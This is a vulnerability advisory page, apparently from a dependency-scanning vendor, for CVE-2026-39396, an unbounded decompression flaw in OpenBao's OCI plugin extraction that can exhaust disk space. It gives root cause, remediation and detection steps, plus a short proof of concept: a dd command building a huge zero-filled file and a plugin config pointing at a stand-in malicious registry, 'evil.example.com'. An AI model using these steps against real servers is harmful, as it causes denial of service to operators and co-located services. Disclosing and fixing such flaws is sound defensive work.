NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
LOW severity

CVE-2026-39396 — openbao

LOWFix: openbao/openbao#2941

CVE-2026-39396 is a low-severity (CVSS 3.1) Uncontrolled Resource Consumption vulnerability in github.com/openbao/openbao. A fix is available for github.com/openbao/openbao — see the affected versions and patch details below.

OpenBao has Decompression Bomb via Unbounded Copy in OCI Plugin Extraction (DoS)

Also known asBIT-openbao-2026-39396GHSA-r65v-xgwc-g56jGO-2026-5609
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 7, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-39396.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs12th percentile — riskier than 12% of all scored CVEsHighest risk
0.00%0.28%0.55%0.83%0.0%0.2%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐹github.com/openbao/openbao

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

ExtractPluginFromImage() in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via io.Copy with no upper bound on the number of bytes written. An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file.

The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace legit plugin image with no need to change its signature.

Details

Root cause

helper/pluginutil/oci/downloader.go:301:

if _, copyErr := io.Copy(outFile, tarReader); copyErr != nil {

io.Copy() reads until EOF with no size limit.
The tar header.Size field is never validated before the copy, and mutate.Extract decompresses all gzip layers in memory/streaming, resulting in unbounded decompression-to-disk.

PoC

  1. Set up a malicious OCI registry
  2. Create a decompression bomb binary:
    dd if=/dev/zero bs=1G count=100 > /tmp/bomb-binary
    
  3. Package it in a minimal OCI image
  4. Push to the malicious registry
  5. Configure victim OpenBao to use this registry:
    plugin "secrets" "bomb" {
      image       = "evil.example.com/plugin"
      version     = "v1.0.0"
      binary_name = "openbao-plugin-secrets-bomb"
      sha256sum   = "0000000000000000000000000000000000000000000000000000000000000000"
    }
    plugin_auto_download = true
    
  6. Start OpenBao (or trigger SIGHUP), load OCI image, disk fill -> cause DoS

Impact

  • Denial of Service: Disk exhaustion on the OpenBao server
  • Cascading failure: Co-located services (databases, other apps) also fail when the disk is full
  • Difficult recovery: If the process is killed mid-extraction, the partial file remains on disk and is not cleaned up
  • Repeated exploitation: On SIGHUP or restart with plugin_auto_download = true, the bomb is re-downloaded

Remediation

  1. Validate header.Size against a configurable maximum before opening the output file
  2. Wrap tarReader in io.LimitReader(tarReader, maxSize+1) and check bytes written after copy
  3. Add a max_size configuration field to PluginConfig for operator control (default: 1 GiB)

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/openbao/openbaoall versions0.0.0-20260420180337-2b2a901aa9f7go get github.com/openbao/openbao@v0.0.0-20260420180337-2b2a901aa9f7

Affected Products

1 product · 1 configurations
Application
openbaoopenbao
< 2.5.3
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/openbao/openbao, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/openbao/openbao to 0.0.0-20260420180337-2b2a901aa9f7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-39396 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Frequently Asked Questions

### Summary `ExtractPluginFromImage()` in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via `io.Copy` with no upper bound on the number of bytes written. An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file. The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurre
O3 Security · Impact-Aware SCA

Is CVE-2026-39396 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-39396: openbao DoS — Fix Available